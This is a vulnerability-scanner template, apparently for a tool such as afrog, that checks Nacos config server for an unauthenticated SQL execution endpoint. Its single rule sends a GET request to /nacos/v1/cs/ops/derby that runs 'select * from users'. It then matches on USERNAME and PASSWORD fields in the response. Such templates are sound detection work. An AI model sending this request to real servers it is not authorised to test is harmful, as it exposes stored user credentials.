id: nacos-config-server-sql-inject
#

info:
  name: Naocos Config Server SQL injection
  author: zan8in
  severity: high
  verified: true
  description: |-
    Nacos config server中有个接口，没有做任何的鉴权，即可执行sql语句，可以泄漏全部数据
  reference:
    - https://mp.weixin.qq.com/s/NgWvrN6yW-MAy0Cch4_nAQ
  tags: nacos,sqli
  created: 2023/06/01

rules:
  r0:
    request:
      method: GET
      path: /nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20
    expression: |
      response.status == 200 && 
      response.body.bcontains(b'"code":') &&
      response.body.bcontains(b'"USERNAME":') &&
      response.body.bcontains(b'"PASSWORD":')
expression: r0()